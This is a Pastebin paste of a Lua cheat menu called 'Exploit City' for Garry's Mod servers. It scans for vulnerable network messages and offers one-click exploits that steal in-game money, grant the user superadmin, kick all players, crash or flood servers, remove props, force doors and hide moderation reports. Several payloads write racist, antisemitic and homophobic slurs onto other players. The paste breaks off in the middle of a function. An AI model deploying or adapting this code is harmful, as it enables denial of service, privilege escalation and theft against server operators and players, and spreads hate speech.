Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //exploit city
- /*
- Exploit City By Voltz and Triggered
- For citizenhack.me
- */
- function ECPrint( str )
- chat.AddText( Color( 0, 255, 255 ), "[EC] ", Color( 0, 200, 255), str .. "\n" )
- end
- local function ECNotify(text)
- local notify = vgui.Create( "DPanel" )
- notify:SetSize( 200, 50 )
- notify:SetPos( ScrW() - 200, -50 )
- notify.Paint = function(self, w, h)
- draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
- local bars = 50
- for i=0, bars, 1 do
- local rainbow = HSVToColor( CurTime() % 6 * 60 + i, 1, 1 )
- draw.RoundedBox( 0, i * w / bars, notify:GetTall() - 2, w / bars, 3, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
- end
- //draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
- draw.SimpleText( text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
- timer.Simple( 3, function()
- notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
- end);end)
- end
- function Initialize()
- chat.AddText(Color(0, 240, 255), "♬ Exploit City ♬")
- chat.AddText(Color(0, 240, 255), "Version 4.1.4")
- chat.AddText(Color(0, 200, 255), "Type exploits_open in console to open!")
- chat.AddText(Color(0, 200, 255), "Coded by triggered and Voltz\n")
- surface.PlaySound("HL1/fvox/bell.wav")
- net.Receive("DL_Answering_global", function(_len)end) // Stop LocalPlayer from getting kicked whilst kicking all
- /* Font Creation*/
- surface.CreateFont( "Roboto", {
- font = "Roboto",
- size = 18,
- } )
- surface.CreateFont( "Calibri-sm", {
- font = "Calibri",
- size = 15,
- } )
- surface.CreateFont( "Calibri-l", {
- font = "Calibri",
- size = 21,
- } )
- surface.CreateFont( "tahoma", {
- font = "Tahoma",
- size = 15,
- } )
- end
- ECNotify("Loaded Successfully!")
- function ValidNetString( str )
- local status, error = pcall( net.Start, str )
- return status
- end
- function playSound(url)
- sound.PlayURL(url, '', function( station )
- if ( IsValid( station ) ) then
- station:SetPos( LocalPlayer():GetPos() )
- station:Play()
- end
- end)
- end
- Initialize(); // Initializes basic shit for when menu is loaded.
- /* [MENU] */
- function draw.OutlinedBox( x, y, w, h, thickness, clr )
- surface.SetDrawColor( clr )
- for i=0, thickness - 1 do
- surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
- end
- end
- local menu = vgui.Create( "DFrame" )
- menu:SetTitle("")
- menu:SetSize( 400, 300 )
- menu:SetPos( ScrW() / 2 - menu:GetWide() / 2, ScrH() / 2 - menu:GetTall() / 2 )
- menu:SetMouseInputEnabled(true)
- menu:SetKeyBoardInputEnabled(true)
- menu:SetVisible(false)
- menu:ShowCloseButton(false)
- menu:SetAlpha(0)
- menu.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color( 20, 20, 20, 255 ) )
- draw.RoundedBox( 0, 0, 0, w, 32, Color( 25, 25, 25, 255 ) )
- local bars = 50
- for i=1, bars, 1 do
- local rainbow = HSVToColor( CurTime() % 6 * 60 + i, 1, 1 )
- draw.RoundedBox( 0, i * w / bars, 31, w / bars * -1, 3, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
- end
- draw.RoundedBox( 0, 0, 35, w, 22, Color( 25, 25, 25 ) )
- draw.OutlinedBox( 0, 0, w, h, 3, Color( 15, 15, 15 ) )
- draw.OutlinedBox( 1, 1, w - 2, h - 2 , 1, Color( 45, 45, 45 ) )
- draw.SimpleTextOutlined( "Exploit City", "Roboto", menu:GetWide() / 2, 6, Color( 255, 255, 255, 255 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP, 0.5, Color(255, 255, 255, 255))
- end
- local closebtn = vgui.Create( "DButton", menu )
- closebtn:SetText( "X" )
- closebtn:SetTextColor( Color( 255, 0, 0 ) )
- closebtn:SetPos( menu:GetWide() - 31, 0 )
- closebtn:SetFont("Roboto")
- closebtn:SetSize( 31, 31 )
- closebtn.Paint = function( self, w, h )
- if closebtn:IsHovered() then
- draw.RoundedBox( 0, 0, 0, w, h, Color( 25, 25, 25, 255 ) )
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 0 ) )
- end
- end
- closebtn.DoClick = function()
- menu:SetMouseInputEnabled(false)
- menu:SetKeyBoardInputEnabled(false)
- menu:AlphaTo(0, 0.5, 0, function()
- menu:SetVisible(false)
- hook.Remove("RenderScreenspaceEffects", "menuBlur")
- end)
- end
- local tabs = vgui.Create( "DPropertySheet", menu )
- tabs:Dock( FILL )
- tabs:DockPadding( -5, 5, 0, 0)
- tabs.Paint = function (self, w, h)
- for k, v in pairs(tabs.Items) do
- if (!v.Tab) then continue end
- v.Tab.Paint = function(self,w,h)
- draw.RoundedBox( 0, 0, 0, w, 22, Color( 25, 25, 25, 255 ) )
- draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 45, 45, 45, 255 ) )
- if ( tabs:GetActiveTab() == v.Tab ) then
- draw.RoundedBox( 0, 0, 0, w, 22, Color( 25, 25, 25, 255 ) )
- //draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 255, 255, 255, 255 ) )
- draw.RoundedBox( 0, 0, 22, w, 1, Color(255,255,255,255))
- end
- end
- end
- end
- local exploitsPanel = vgui.Create( "DPanel", tabs )
- exploitsPanel.Paint = function( self, w, h )
- draw.RoundedBox(0, 0, 0, w, h, Color( 25, 25, 25 ))
- draw.OutlinedBox( 0, 0, w, h, 1, Color( 45, 45, 45 ) )
- end
- local sheet1 = tabs:AddSheet( "Exploits", exploitsPanel )
- local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploitsPanel )
- exploitsScrollPanel:Dock( FILL )
- local toolsPanel = vgui.Create( "DPanel", tabs )
- toolsPanel.Paint = function( self, w, h )
- draw.RoundedBox(0, 0, 0, w, h, Color( 25, 25, 25 ) )
- draw.OutlinedBox( 0, 0, w, h, 1, Color( 45, 45, 45 ) )
- end
- local sheet2 = tabs:AddSheet( "Tools", toolsPanel )
- local toolsScrollPanel = vgui.Create( "DScrollPanel", toolsPanel )
- toolsScrollPanel:Dock( FILL )
- function addExploit(id, text, desc, func)
- local id = vgui.Create( "DButton", exploitsScrollPanel )
- id:SetText( text )
- id:SetTextColor( Color( 200, 200, 200 ) )
- id:SetFont("Roboto")
- id:Dock( TOP )
- id:DockMargin( 10, 10, 10, -5 )
- id:DockPadding( 2, 25, 2, 50 )
- id.DoClick = func
- id.Paint = function( self, w, h )
- if id:IsHovered() then
- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
- draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
- end
- surface.SetDrawColor( 0, 0, 0, 255)
- surface.DrawOutlinedRect( 0, 0, w, h )
- end
- end
- local status = ValidNetString("TCBuyAmmo")
- if (status) then
- ECPrint("Found exploitable net message: TCBuyAmmo")
- addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- ECPrint("Getting Le Ammo")
- for k,v in pairs(GAMEMODE.AmmoTypes) do
- net.Start("TCBBuyAmmo")
- net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
- net.SendToServer()
- end
- end);end
- local status = ValidNetString("DataSend")
- if (status) then
- ECPrint("Found exploitable net message: Steal All Monies #1")
- addExploit( "4","Steal All Monies #1", "Takes money from printers", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- for k, v in pairs( ents.GetAll() ) do
- if v:GetClass() == "adv_moneyprinter" then
- ECPrint("Collecting Money")
- net.Start("DataSend")
- net.WriteFloat(2)
- net.WriteEntity(v)
- net.WriteEntity(LocalPlayer())
- net.SendToServer()
- end;end
- end);end
- local status = ValidNetString("FarmingmodSellItems")
- if (status) then
- ECPrint("Found Exploit: Free Money")
- addExploit( "5","Free Money", "An exploit in the Farming Mod", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- ECPrint("Enjoy the b1g monies")
- net.Start( "FarmingmodSellItems" )
- net.WriteTable(
- {
- Cost = 10,
- CropModel = "models/props/eryk/garlic.mdl",
- CropType = 2,
- Info = "Garlic Seed",
- Model = "models/props/eryk/seedbag.mdl",
- Name = "Garlic",
- Quality = 4,
- Sell = 99999,
- Type = "Seed"
- }
- )
- net.WriteInt(1,16)
- net.SendToServer()
- end);end
- local status = ValidNetString("start_wd_emp")
- if (status) then
- ECPrint("Found Exploit: Hack Keypads")
- addExploit( "6","Hack Keypads", "Instantly opens nearby keypads. Has a cooldown", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- ECNotify("Hacking Keypads")
- net.Start('start_wd_emp')
- net.SendToServer()
- end);end
- local status = ValidNetString("duelrequestguiYes")
- if (status) then
- ECPrint("Found Exploit: Get Money")
- addExploit( "7","Get Money", "Duel Exploit", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- ECNotify("getting ez monies")
- net.Start("duelrequestguiYes")
- net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
- net.WriteEntity(table.Random( player.GetAll() ) )
- net.WriteString("Crossbow")
- net.SendToServer()
- end);end
- local status = ValidNetString("DarkRP_Kun_ForceSpawn")
- if (status) then
- ECPrint("Found Exploit: TP")
- addExploit( "15", "TP", "No clue what this does xd", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- ECPrint("TPing")
- net.Start("DarkRP_Kun_ForceSpawn")
- net.SendToServer()
- end);end
- local status = ValidNetString("SyncPrinterButtons76561198056171650")
- if (status) then
- ECPrint("Found Exploit: Steal All Monies #2")
- addExploit( "16","Steal All Monies #2", "Takes money from printers", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- ECPrint("Collecting Money")
- for k, v in pairs(ents.GetAll()) do
- if (v:GetClass() == "adv_moneyprinter") then
- net.Start( "SyncPrinterButtons76561198056171650" )
- net.WriteEntity(v)
- net.WriteUInt(2, 4)
- net.SendToServer()
- end
- end
- end);end
- local function report()
- for i = 1, 2000 do
- net.Start("DL_Answering")
- net.SendToServer()
- end
- end
- if (Damagelog) then
- ECPrint("Found Exploit: Kick All Players")
- reportSpam = 0
- addExploit( "17","Kick All Players", "Kicks all players", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (reportSpam == 0) then
- ECNotify("Starting Kicker")
- reportSpam = 1
- timer.Create("reportSpammer", 0.05, 0, report)
- else
- ECNotify("Stopping Kicker")
- reportSpam = 0
- timer.Remove("reportSpammer")
- end
- end);end
- local status = ValidNetString("SimplicityAC_aysent")
- if (status) then
- ECPrint("Found Exploit: Instant Crash")
- addExploit( "19","Instant Crash", "Will instantly crash the server", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- ECPrint("Goodbye Server")
- local tbl = {}
- for i=1,400 do
- tbl[i] = i
- end
- net.Start("SimplicityAC_aysent")
- net.WriteUInt(1, 8)
- net.WriteUInt(4294967295, 32)
- net.WriteTable(tbl)
- net.SendToServer()
- end);end
- local status = ValidNetString("ATS_WARP_REMOVE_CLIENT")
- if (status) then
- ECPrint("Found Exploit: Lagger #1")
- lagger1 = 0
- addExploit( "20", "Lagger #1", "b1g lags", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (lagger1 == 0) then
- ECNotify("Starting Lagger")
- lagger1 = 1
- timer.Create("lagger1", 0.02, 0, function()
- for k,v in pairs(player.GetAll()) do
- net.Start( "ATS_WARP_REMOVE_CLIENT" )
- net.WriteEntity( v )
- net.WriteString( "adminroom1" )
- net.SendToServer()
- net.Start( "ATS_WARP_FROM_CLIENT" )
- net.WriteEntity( v )
- net.WriteString( "adminroom1" )
- net.SendToServer()
- net.Start( "ATS_WARP_VIEWOWNER" )
- net.WriteEntity( v )
- net.WriteString( "adminroom1" )
- net.SendToServer()
- end
- end)
- else
- ECNotify("Stopping Lagger")
- lagger1 = 0
- timer.Remove("lagger1")
- end
- end);end
- local status = ValidNetString("CreateCase")
- if (status) then
- ECPrint("Found Exploit: Lagger #4")
- lagger4 = 0
- addExploit( "23", "Lagger #4", "b1g lags", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (lagger4 == 0) then
- ECNotify("Starting Lagger")
- lagger4 = 1
- timer.Create("lagger4", 0.02, 0, function()
- for i = 1, 300 do
- net.Start( "CreateCase" )
- net.WriteString( "tapped by citizenhack.me" )
- net.SendToServer()
- end;end)
- else
- ECNotify("Stopping Lagger")
- lagger4 = 0
- timer.Remove("lagger4")
- end
- end);end
- local status = ValidNetString("rprotect_terminal_settings")
- if (status) then
- ECPrint("Found Exploit: Lagger #5")
- lagger5 = 0
- addExploit( "24", "Lagger #5", "b1g lags", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (lagger5 == 0) then
- ECNotify("Starting Lagger")
- lagger5 = 1
- timer.Create("lagger5", 0.02, 0, function()
- for i = 1, 200 do
- net.Start( "rprotect_terminal_settings" )
- net.WriteEntity( LocalPlayer() )
- net.SendToServer()
- end
- end)
- else
- ECNotify("Stopping Lagger")
- lagger5 = 0
- timer.Remove("lagger5")
- end
- end);end
- local status = ValidNetString("StackGhost")
- if (status) then
- ECPrint("Found Exploit: Lagger #6")
- lagger6 = 0
- addExploit( "25", "Lagger #6", "b1g lags", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (lagger6 == 0) then
- ECNotify("Starting Lagger")
- lagger6 = 1
- timer.Create("lagger6", 0.010, 0, function()
- for i = 1, 8 do
- for k,v in pairs( player.GetAll() ) do
- net.Start( "StackGhost" )
- net.WriteInt(69,32)
- net.SendToServer()
- end;end;end)
- else
- ECNotify("Stopping Lagger")
- lagger6 = 0
- timer.Remove("lagger6")
- end
- end);end
- local status = ValidNetString("NLRKick")
- if (status) then
- ECPrint("Found Exploit: Kick All")
- addExploit( "27","Kick All", "kick all the beaners", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- ECNotify("Kicking All")
- for k,v in pairs(player.GetAll()) do
- if v != LocalPlayer() then
- net.Start("NLRKick")
- net.WriteEntity(v)
- net.SendToServer()
- end
- end
- end);end
- local status = ValidNetString("JoinOrg")
- if (status) then
- ECPrint("Found Exploit: Lagger #7")
- lagger7 = 0
- addExploit( "28", "Lagger #7", "b1111g lags", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (lagger7 == 0) then
- ECNotify("Starting Lagger")
- lagger7 = 1
- timer.Create("lagger7", 0.02, 0, function()
- for k,v in pairs(player.GetAll()) do
- net.Start("JoinOrg")
- net.WriteEntity(LocalPlayer())
- net.WriteString("test")
- net.SendToServer()
- end
- end)
- else
- ECNotify("Stopping Lagger")
- lagger7 = 0
- timer.Remove("lagger7")
- end
- end);end
- local status = ValidNetString("timebombDefuse")
- if (status) then
- ECPrint("Found Exploit: Delete All Props")
- addExploit( "30","Delete All Props", "props = dead", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- ECNotify("Props De_Stroyed")
- for k,v in pairs(ents.GetAll()) do
- net.Start("timebombDefuse")
- net.WriteEntity(v)
- net.WriteBool(true)
- net.SendToServer()
- end
- end);end
- local status = ValidNetString("pac_submit")
- if (status) then
- ECPrint("Found Exploit: Lagger")
- addExploit( "31","Lagger #8", "l4g yuh", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger8" ) then
- timer.Create("lagger8", 0.5, 0, function()
- for i=1, 1800 do
- net.Start("pac_submit")
- net.SendToServer()
- end
- end)
- ECNotify("Starting Lagger")
- else
- timer.Remove("lagger8")
- ECNotify("Stopping Lagger")
- end
- end);end
- local status = ValidNetString("steamid2")
- if (status) then
- ECPrint("Found Exploit: Lagger #9")
- addExploit( "32","Lagger #9", "l4g yuhhhhhhhhhhhh", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger9" ) then
- ECNotify("Starting Lagger")
- timer.Create( "lagger9", 0, 0, function()
- for i = 1, 150 do
- net.Start( "steamid2" )
- net.WriteString( "this is what u get for scamming faggot" )
- net.SendToServer()
- end
- end)
- else
- timer.Remove("lagger9")
- ECNotify("Stopping Lagger")
- end
- end);end
- local status = ValidNetString("NDES_SelectedEmblem")
- if (status) then
- ECPrint("Found Exploit: Lagger #10")
- addExploit( "33","Lagger #10", "oof yuh get l4gged", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger10" ) then
- timer.Create("lagger10", 0.5, 0, function()
- for i=1, 2000 do
- net.Start("NDES_SelectedEmblem")
- net.WriteString("exploitcity")
- net.SendToServer()
- end
- end)
- ECNotify("Starting Lagger")
- else
- timer.Remove("lagger10")
- ECNotify("Stopping Lagger")
- end
- end);end
- local status = ValidNetString("Morpheus.StaffTracker")
- if (status) then
- ECPrint("Found Exploit: Crasher #1")
- addExploit( "33","Crasher #1", "not even hard. unlike nippy's dick when he sees voltz", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "crasher3" ) then
- timer.Create("crasher3", 0.5, 0, function()
- for i=1, 2000 do
- net.Start("Morpheus.StaffTracker")
- net.SendToServer()
- end
- end)
- ECNotify("Crashing Server")
- else
- timer.Remove("crasher3")
- ECNotify( "Canceling Crasher" )
- end
- end);end
- local status = ValidNetString("egg")
- if (status) then
- ECPrint("Found Exploit: Get Easter Egg")
- addExploit( "34","Get Easter Egg", "ez eggs", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start("egg")
- net.SendToServer()
- ECNotify("Gave Easter Egg")
- end);end
- local status = ValidNetString("TalkIconChat")
- if (status) then
- spoofchat = 0
- ECPrint("Found Exploit: Spoof Chat Icon")
- addExploit( "35","Spoof Chat Icon", "not really a big exploit just fun", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if spoofchat == 0 then
- hook.Remove('StartChat', 'TalkIcon')
- net.Start("TalkIconChat")
- net.WriteBool(true)
- net.SendToServer()
- spoofchat = 1
- ECNotify("Enabled Icon Spoofer")
- else
- net.Start("TalkIconChat")
- net.WriteBool(false)
- net.SendToServer()
- ECNotify("Disabled Icon Spoofer")
- spoofchat = 0
- end
- end);end
- local status = ValidNetString("join_disconnect")
- if (status) then
- ECPrint("Found Exploit: Lagger #11")
- addExploit( "36","Lagger #11", "b1g lags my duder", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger11" ) then
- timer.Create("lagger11", 0.5, 0, function()
- for i=1, 3000 do
- net.Start("join_disconnect")
- net.WriteEntity(table.Random(player.GetAll()))
- net.SendToServer()
- end
- end)
- ECNotify("Starting Lagger")
- else
- timer.Remove("lagger11")
- ECNotify("Stopping Lagger")
- end
- end);end
- local status = ValidNetString("pplay_deleterow")
- if (status) then
- ECPrint("Found Exploit: GET SUPERADMIN")
- addExploit( "37","GET SUPERADMIN", "Rejoin game after clicking", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- local id = LocalPlayer():SteamID()
- local tbl = {}
- tbl.name = "FAdmin_PlayerGroup"
- tbl.where = {
- "steamid",
- tostring(id)
- }
- net.Start("pplay_deleterow")
- net.WriteTable(tbl)
- net.SendToServer()
- local tbl = {}
- tbl.tblname = "FAdmin_PlayerGroup"
- tbl.tblinfo = {
- tostring(id),
- "superadmin"
- }
- net.Start("pplay_addrow")
- net.WriteTable(tbl)
- net.SendToServer()
- ECNotify("promotion ;)")
- end);end
- -- ttt report bypass by daddy grampa
- local title = "You have been reported! Please answer all your reports."
- local function CheckChild(pan)
- if !pan || !IsValid(pan) then return end
- if pan.GetTitle && pan:GetTitle() == title then
- pan:Remove();
- print("Removed warning box")
- return
- end
- for k,v in pairs(pan:GetChildren()) do
- if v.GetTitle && v:GetTitle() == title then
- v:Remove();
- print("Removed warning box")
- return
- end
- if #v:GetChildren() > 0 then
- CheckChild(v)
- end
- end
- end
- if (engine.ActiveGamemode() == "terrortown") then
- bypass = 0
- ECPrint("Found Exploit: TTT Report Bypass")
- addExploit( "38","Toggle TTT Report Bypass", "b1g bypass amirite", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (bypass == 0) then
- hook.Add("Think", "remove_ttt_report", function()
- local pan = vgui.GetHoveredPanel()
- CheckChild(pan)
- end)
- ECNotify("Enabled Report Bypass")
- bypass = 1
- else
- hook.Remove("Think", "remove_ttt_report")
- ECNotify("Disabled Report Bypass")
- bypass = 0
- end
- end);end
- local status = ValidNetString("EZS_PlayerTag")
- if (status) then
- ECPrint("Found Exploit: Lagger #12")
- addExploit( "39","Lagger #12", "b1g lags my duder", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger12" ) then
- timer.Create("lagger12", 0.5, 0, function()
- for k, v in pairs(player.GetAll()) do
- net.Start( "EZS_PlayerTag" )
- net.WriteEntity(v)
- net.WriteString("I hate niggers")
- net.SendToServer()
- timer.Simple(2, function()
- net.Start( "EZS_PlayerTag" )
- net.WriteEntity(v)
- net.WriteString("I hate jews")
- net.SendToServer()
- end)
- end
- end)
- ECNotify("Starting Lagger")
- else
- timer.Remove("lagger12")
- ECNotify("Stopping Lagger")
- end
- end);end
- if ConVarExists("advttt_spreadovertime_enabled") then
- ECPrint("Found Exploit: Remove Spread")
- addExploit( "40","Remove Spread", "pSilent No Spread", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
- ECNotify("Spread Removed")
- end);end
- local status = ValidNetString("ATS_WARP_FROM_CLIENT")
- if (status) then
- ECPrint("Found Exploit: TP")
- addExploit( "41", "Teleport", "Specify a string destination and u will be tped to it", function()
- inputFrame3Exists = true
- inputFrame3 = vgui.Create( "DFrame" )
- inputFrame3:SetTitle("Type a String Destination")
- inputFrame3:SetSize( 400, 75 )
- inputFrame3:SetPos(ScrW() / 2 - inputFrame3:GetWide() / 2, ScrH() / 2 + 230 )
- inputFrame3:SetDraggable(false)
- inputFrame3:ShowCloseButton(false)
- inputFrame3:MakePopup()
- inputFrame3.Paint = function( self, w, h )
- draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
- end
- local TextEntry3 = vgui.Create( "DTextEntry", inputFrame3 )
- TextEntry3:SetSize( 380, 30 )
- TextEntry3:SetPos( inputFrame3:GetWide() / 2 - TextEntry3:GetWide() / 2, inputFrame3:GetTall() / 2 - TextEntry3:GetTall() / 2 )
- TextEntry3:SetText( "*destination*" )
- TextEntry3.OnEnter = function( self )
- surface.PlaySound("garrysmod/ui_click.wav")
- ECNotify("Teleporting to " .. TextEntry3:GetValue() )
- net.Start( "ATS_WARP_FROM_CLIENT" )
- net.WriteEntity( LocalPlayer() )
- net.WriteString( TextEntry3:GetValue() )
- net.SendToServer()
- inputFrame3:SetVisible(false)
- end
- end)
- end
- local status = ValidNetString("fp_as_doorHandler")
- if (status) then
- ECPrint("Found Exploits: Open Door, Close Door, Remove Door Owners")
- addExploit( "42","Open Door", "Force open the door you are looking at", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start("fp_as_doorHandler")
- net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
- net.WriteString("unlock")
- net.SendToServer()
- ECNotify("Opened Door")
- end);end
- local status = ValidNetString("fp_as_doorHandler")
- if (status) then
- addExploit( "43","Close Door", "Force close the door you are looking at", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start("fp_as_doorHandler")
- net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
- net.WriteString("lock")
- net.SendToServer()
- ECNotify("Opened Door")
- end);end
- local status = ValidNetString("fp_as_doorHandler")
- if (status) then
- addExploit( "44","Remove Door Owner", "Force remove door owner of the door you are looking at", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- local door = LocalPlayer():GetEyeTrace().Entity
- local doorOwner = door:getDoorData()["owner"]
- net.Start("fp_as_doorHandler")
- net.WriteEntity(door)
- net.WriteString("removeOwner")
- net.WriteDouble(doorOwner)
- net.SendToServer()
- ECNotify("Opened Door")
- end);end
- local status = ValidNetString("VJSay")
- if (status) then
- ECPrint("Found Exploit: Broadcast")
- addExploit( "45","Broadcast", "Force remove door owner of the door you are looking at", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- inputFrame2Exists = true
- inputFrame2 = vgui.Create( "DFrame" )
- inputFrame2:SetTitle("Choose a weapon!")
- inputFrame2:SetSize( 400, 75 )
- inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
- inputFrame2:SetDraggable(false)
- inputFrame2:ShowCloseButton(false)
- inputFrame2:MakePopup()
- inputFrame2.Paint = function( self, w, h )
- draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
- end
- local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
- TextEntry2:SetSize( 380, 30 )
- TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
- TextEntry2:SetText( "Broadcast Msg" )
- TextEntry2.OnEnter = function( self )
- surface.PlaySound("garrysmod/ui_click.wav")
- ECNotify("Broadcasting")
- net.Start("VJSay")
- net.WriteEntity(nil)
- net.WriteString(TextEntry2:GetValue())
- net.WriteString("")
- net.SendToServer()
- inputFrame2:SetVisible(false)
- end
- end);end
- local status = ValidNetString("ply_pick_shit")
- if (status) then
- ECPrint("Found Exploit: free money amirite")
- addExploit( "46","free money amirite", "stacks in ur wallet generator", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- for k, v in pairs (player.GetAll()) do
- for i = 1,255 do
- net.Start("ply_pick_shit")
- net.WriteEntity(LocalPlayer())
- net.WriteEntity(v)
- net.SendToServer()
- end
- end
- ECNotify("enjoy monies")
- end);end
- local status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
- if (status) then
- ECPrint("Found Exploit: Crasher")
- addExploit( "47","Crasher #2", "discovered by triggered", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger13" ) then
- timer.Create("lagger13", 0, 0, function()
- for i = 1, 400 do
- net.Start("pac.net.TouchFlexes.ClientNotify")
- net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
- net.SendToServer()
- end
- end)
- ECNotify("Starting Crasher")
- else
- timer.Remove("lagger13")
- ECNotify("Stopping Crasher")
- end
- end);end
- local status = ValidNetString("BM2.Command.SellBitcoins")
- if (status) then
- ECPrint("Found Exploit: Take My Bitcoins")
- addExploit( "48","Take My Bitcoins", "discovered by triggered", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
- net.Start("BM2.Command.SellBitcoins")
- net.WriteEntity(v)
- net.SendToServer()
- end
- for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
- net.Start("BM2.Command.SellBitcoins")
- net.WriteEntity(v)
- net.SendToServer()
- end
- for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
- net.Start("BM2.Command.SellBitcoins")
- net.WriteEntity(v)
- net.SendToServer()
- end
- end);end
- local status = ValidNetString("BM2.Command.Eject")
- if (status) then
- ECPrint("Found Exploit: Lagger #13")
- addExploit( "49","Lagger #13", "discovered by triggered", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger14" ) then
- timer.Create("lagger14", 0, 0, function()
- for i = 1, 1000 do
- net.Start("BM2.Command.Eject")
- net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 8)
- net.SendToServer()
- end
- end)
- ECNotify("Starting Lagger")
- else
- timer.Remove("lagger14")
- ECNotify("Stopping Lagger")
- end
- end);end
- local status = ValidNetString("ItemStoreUse")
- if (status) then
- ECPrint("Found Exploit: Lagger #14")
- addExploit( "50","Lagger #14", "discovered by triggered", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger15" ) then
- timer.Create("lagger15", 0, 0, function()
- for i = 1, 200 do
- net.Start("ItemStoreUse")
- net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
- net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
- net.SendToServer()
- end
- end)
- ECNotify("Starting Lagger")
- else
- timer.Remove("lagger15")
- ECNotify("Stopping Lagger")
- end
- end);end
- local status = ValidNetString("TFA_Attachment_RequestAll")
- if (status) then
- ECPrint("Found Exploit: Lagger #15")
- addExploit( "51","Lagger #15", "anal is good", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger16" ) then
- timer.Create("lagger16", 0,0, function()
- for i = 1, 800 do
- net.Start("TFA_Attachment_RequestAll")
- net.SendToServer()
- end
- end)
- ECNotify("Starting Lagger")
- else
- timer.Remove("lagger16")
- ECNotify("Stopping Lagger")
- end
- end);end
- local status = ValidNetString("Chess Top10")
- if (status) then
- ECPrint("Found Exploit: Lagger #16")
- addExploit( "52","Lagger #16", "discovered by triggered", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger17" ) then
- timer.Create("lagger17", 0,0, function()
- for i = 1, 25 do
- net.Start("Chess Top10")
- net.WriteString("womble is gay xd")
- net.SendToServer()
- end
- end)
- ECNotify("Starting Lagger")
- else
- timer.Remove("lagger17")
- ECNotify("Stopping Lagger")
- end
- end);end
- local status = ValidNetString("PlayerUseItem")
- if (status) then
- ECPrint("Found Exploit: Lagger #17")
